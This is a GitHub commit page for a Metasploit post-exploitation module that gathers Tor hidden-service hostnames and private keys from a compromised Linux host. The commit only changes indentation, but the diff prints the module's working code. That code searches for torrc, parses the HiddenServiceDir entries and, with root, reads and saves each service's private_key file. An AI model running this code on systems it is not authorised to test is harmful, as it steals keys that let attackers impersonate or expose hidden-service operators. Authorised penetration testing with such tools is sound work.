Skip to content

Commit 71fde14

Browse files
committed
Linux post module to grab TOR hidden service hostnames and private keys
1 parent f557aa3 commit 71fde14

File tree

1 file changed

+21
-21
lines changed

1 file changed

+21
-21
lines changed

modules/post/linux/gather/tor_hiddenservices.rb

Lines changed: 21 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -15,11 +15,11 @@ def initialize(info={})
1515
'Name' => 'Linux Gather TOR Hidden Services',
1616
'Description' => %q{
1717
This module collects the hostnames name and private keys of
18-
any TOR Hidden Services running on the target machine. It
19-
will search for torrc and if found, will parse it for the
20-
directories of Hidden Services. However, root permissions
21-
are required to read them as they are owned by the user that
22-
TOR runs as, usually a separate account.
18+
any TOR Hidden Services running on the target machine. It
19+
will search for torrc and if found, will parse it for the
20+
directories of Hidden Services. However, root permissions
21+
are required to read them as they are owned by the user that
22+
TOR runs as, usually a separate account.
2323
},
2424
'License' => MSF_LICENSE,
2525
'Author' =>
@@ -62,25 +62,25 @@ def get_host
6262
def find_torrc
6363
config = cmd_exec("find / -name 'torrc' 2>/dev/null | head -n 1").chomp
6464
if config != ""
65-
print_good("Torrc file found at #{config}")
66-
hiddenservices = cmd_exec("cat #{config} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")
67-
print_good("Hidden Services found!")
65+
print_good("Torrc file found at #{config}")
66+
hiddenservices = cmd_exec("cat #{config} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")
67+
print_good("Hidden Services found!")
6868

69-
if is_root?
70-
hiddenservices.each do |f|
71-
output = read_file("#{f}hostname")
72-
save(f, output, "tor.#{f.split("/")[-1]}.hostname") if output && output !~ /No such file or directory/
73-
end
69+
if is_root?
70+
hiddenservices.each do |f|
71+
output = read_file("#{f}hostname")
72+
save(f, output, "tor.#{f.split("/")[-1]}.hostname") if output && output !~ /No such file or directory/
73+
end
7474

75-
hiddenservices.each do |f|
76-
output = read_file("#{f}private_key")
77-
save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/
78-
end
79-
else
80-
print_error("Hidden Services were found, but we need root to access the directories")
81-
end
75+
hiddenservices.each do |f|
76+
output = read_file("#{f}private_key")
77+
save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/
78+
end
79+
else
80+
print_error("Hidden Services were found, but we need root to access the directories")
81+
end
8282
else
83-
print_error("No Torrc file found. Perhaps it goes by another name?")
83+
print_error("No Torrc file found. Perhaps it goes by another name?")
8484
end
8585
end
8686
end

0 commit comments

Comments
 (0)